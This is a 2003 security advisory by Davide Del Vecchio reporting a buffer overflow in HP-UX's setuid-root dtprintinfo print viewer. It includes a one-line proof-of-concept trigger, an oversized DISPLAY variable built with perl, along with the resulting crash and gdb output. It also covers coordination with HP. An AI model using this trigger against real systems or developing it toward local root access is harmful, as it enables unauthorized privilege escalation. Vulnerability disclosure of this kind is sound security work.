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HPUX dtprintinfo buffer overflow vulnerability
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Davide Del Vecchio Adv#7 

Discovered in: 14/07/2003
Date: 08/10/2003
Tested on HP-UX B.11.00 


Description: 

The Print Viewer program provides a graphical interface that displays
the status of print queues and print jobs. 

dante@sofficino <mailto:dante@sofficino> :/usr/dt/bin >ls -al /usr/dt/bin/dtprintinfo
-r-sr-xr-x 1 root bin 471040 Sep 22 2000 dtprintinfo 

Exporting the DISPLAY variable with a long argument... 

dante@sofficino <mailto:dante@sofficino> :/usr/dt/bin >export DISPLAY="`perl -e 'printf "A" x 9777'`"
dante@sofficino <mailto:dante@sofficino> :/usr/dt/bin >/usr/dt/bin/dtprintinfo
Memory fault 

From gdb output we can see: 

Program received signal SIGSEGV, Segmentation fault.
0x7f75fb08 in memcpy () from /usr/lib/libc.2 


Solution: 

I'm in contact with HP's Security staff, especially with John Morris,
and I would like to thanks him and all his staff for the interest
demonstrated during this period of research on HP-UX.
He assured me a patch has been written and an Official Security Bullettin
will follow my advisory. 

Credits: 

Davide Del Vecchio would like to thank all the people supporting him
and his research, his love that never leaves him alone, and obvious,
the HP-UX security staff, impersonified in this case by John Morris. 


Disclaimer: 

The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition.
There are NO warranties with regard to this information. In no event shall
the author be liable for any damages whatsoever arising out of or in
connection with the use or spread of this information. Any use of this
information is at the user's own risk.
^^^^^^^^ 

Please send suggestions, updates, and comments to:
Davide Del Vecchio , Dante Alighieri - dante at alighieri dot org
www.alighieri.org <http://www.alighieri.org>